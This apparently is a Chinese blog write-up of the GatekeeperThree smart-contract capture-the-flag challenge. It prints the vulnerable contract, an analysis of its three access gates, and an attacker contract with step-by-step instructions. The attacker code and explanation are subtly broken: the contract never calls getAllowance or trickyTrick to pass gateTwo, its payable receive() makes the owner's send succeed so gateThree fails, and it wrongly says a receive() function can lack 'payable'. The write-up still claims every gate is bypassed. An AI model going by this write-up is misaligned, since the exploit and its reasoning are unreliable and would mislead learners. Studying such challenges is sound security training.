您现在的位置是:首页 >技术交流 >以太坊智能合约安全挑战:绕过 GatekeeperThree 成为参赛者网站首页技术交流
以太坊智能合约安全挑战:绕过 GatekeeperThree 成为参赛者
简介以太坊智能合约安全挑战:绕过 GatekeeperThree 成为参赛者
前言
在以太坊智能合约开发中,安全问题至关重要。许多合约会设置严格的访问控制机制(Gatekeeper)来限制某些操作的权限。然而,在某些情况下,这些“守门人”可能会被绕过,导致合约受到攻击。
本文将分析一个名为 GatekeeperThree 的 Solidity 挑战合约,并编写一个攻击合约来成功绕过守门人机制,成为合约的 entrant。
一、GatekeeperThree 合约分析
1. 合约概览
GatekeeperThree 合约通过三个 modifier(修饰器)来设置访问门槛,并要求符合条件的用户才能调用 enter() 进入合约。
GatekeeperThree.sol 源码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperThree {
address public owner;
address public entrant;
bool public allowEntrance;
SimpleTrick public trick;
function construct0r() public {
owner = msg.sender;
}
modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}
modifier gateTwo() {
require(allowEntrance == true);
_;
}
modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}
function getAllowance(uint256 _password) public {
if (trick.checkPassword(_password)) {
allowEntrance = true;
}
}
function createTrick() public {
trick = new SimpleTrick(payable(address(this)));
trick.trickInit();
}
function enter() public gateOne gateTwo gateThree {
entrant = tx.origin;
}
receive() external payable {}
}
2. 解析合约的三个门槛
(1) gateOne() 条件
modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}
msg.sender == owner:调用者必须是合约owner。tx.origin != owner:交易的原始发送者(用户)不能是owner。
✅ 绕过方法:
- 需要确保我们调用
enter()时msg.sender == owner,但tx.origin不是owner。
(2) gateTwo() 条件
modifier gateTwo() {
require(allowEntrance == true);
_;
}
- 进入合约前,
allowEntrance必须为true。 - 这个变量默认是
false,必须找到方法让它变为true。
✅ 绕过方法:
allowEntrance由getAllowance()赋值,我们可以通过SimpleTrick合约调用getAllowance()并传递正确的密码。
(3) gateThree() 条件
modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}
- 这个门槛要求
GatekeeperThree的余额超过0.001ETH。 - 并且 尝试向
owner发送0.001ETH,如果发送失败,才能继续执行enter()。
✅ 绕过方法:
- 让
GatekeeperThree合约有超过0.001ETH 的余额。 owner需要是一个无法接收 ETH 的地址,比如一个合约地址,它的receive()函数没有payable关键字,从而导致send()失败。
二、SimpleTrick 合约的作用
在 GatekeeperThree 合约中,有一个 SimpleTrick 合约被用来存储密码并提供 getAllowance() 的功能:
contract SimpleTrick {
GatekeeperThree public target;
address public trick;
uint256 private password = block.timestamp;
constructor(address payable _target) {
target = GatekeeperThree(_target);
}
function checkPassword(uint256 _password) public returns (bool) {
if (_password == password) {
return true;
}
password = block.timestamp;
return false;
}
function trickInit() public {
trick = address(this);
}
function trickyTrick() public {
if (address(this) == msg.sender && address(this) != trick) {
target.getAllowance(password);
}
}
}
SimpleTrick负责存储密码,并且trickyTrick()可用于调用getAllowance()。- 只要
trickyTrick()被正确调用,就能让allowEntrance = true,绕过gateTwo。
三、攻击合约编写
目标
编写一个攻击合约,利用 SimpleTrick 和 GatekeeperThree 的漏洞,实现绕过 enter() 的所有门槛。
攻击合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface I_GatekeeperThree {
function createTrick() external;
function enter() external;
function construct0r() external;
}
contract GatekeeperThreeAttacker {
I_GatekeeperThree public gatekeeper;
address public attacker;
constructor(address _gatekeeper) {
gatekeeper = I_GatekeeperThree(_gatekeeper);
attacker = msg.sender;
}
function attack() external payable {
require(msg.value >= 0.002 ether, "Not enough ETH sent");
// 1. 让目标合约成为可控对象
gatekeeper.construct0r();
// 2. 发送 ETH 以满足 `gateThree`
(bool sent,) = payable(address(gatekeeper)).call{value: 0.002 ether}("");
require(sent, "Failed to send ether");
// 3. 创建 `SimpleTrick` 实例
gatekeeper.createTrick();
// 4. 调用 `enter()`
gatekeeper.enter();
}
// 允许攻击合约接收 ETH
receive() external payable {}
}
四、攻击步骤
- 部署
GatekeeperThreeAttacker并传入GatekeeperThree地址。 - 调用
attack()执行攻击construct0r()让攻击者变成owner,绕过gateOne。- 发送 0.002 ETH 让
GatekeeperThree满足gateThree的条件。 - 创建
SimpleTrick并执行getAllowance(),绕过gateTwo。 - 最终调用
enter(),成功成为entrant。
总结
本次攻击利用了以下漏洞:
construct0r()不是构造函数,可以被直接调用,使攻击者变成owner。- 通过
SimpleTrick绕过gateTwo。 - 利用合约的
receive()机制绕过gateThree,让send()失败。
这个挑战展示了 Solidity 开发中的一些经典漏洞,如:
- 错误的构造函数命名
tx.origin依赖的不安全性- 对
send()成功与否的误解
在实际开发中,必须谨慎设计访问控制和权限检查,以避免类似攻击。希望本文能帮助你更好地理解 Solidity 的安全性问题!🚀
风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。





U8W/U8W-Mini使用与常见问题解决
QT多线程的5种用法,通过使用线程解决UI主界面的耗时操作代码,防止界面卡死。...
stm32使用HAL库配置串口中断收发数据(保姆级教程)
分享几个国内免费的ChatGPT镜像网址(亲测有效)
Allegro16.6差分等长设置及走线总结